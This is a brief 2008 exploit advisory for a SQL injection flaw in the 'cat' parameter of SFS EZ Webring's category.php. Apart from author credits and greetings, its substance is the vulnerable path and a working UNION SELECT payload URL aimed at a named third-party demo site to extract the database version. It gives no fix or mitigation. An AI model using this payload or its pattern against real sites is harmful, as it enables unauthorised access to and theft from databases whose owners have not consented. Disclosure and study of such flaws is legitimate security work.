SFS EZ Webring (cat) Remote SQL Injection Vulnerability
2008-10-31 23:01:03SFS EZ Webring [cat] Remote SQL Injection Vulnerability
===============================================================
----------------------------------------------------------------
script : SFS EZ Webring
Risk : High
----------------------------------------------------------------
Discovered by : d3b4g
email : bl4ckend[at]gmail[dot]come
Site. www.bl4ck3nd.info
----------------------------------------------------------------
Vuln:/webring/category.php?cat=[sql]
Demo: http://www.turnkeyzone.com/demos/webring/category.php?cat=-1+union+all+select+1,@@version,3,4,5/*
----------------------------------------------------------------
----------------------------------------------------------------
Greetz: str0ke,All my friends
-----------------------------------------------------------------
Proud to be a maldivian :))
=======================
#
Fixes
No fixesIn order to submit a new fix you need to be registered.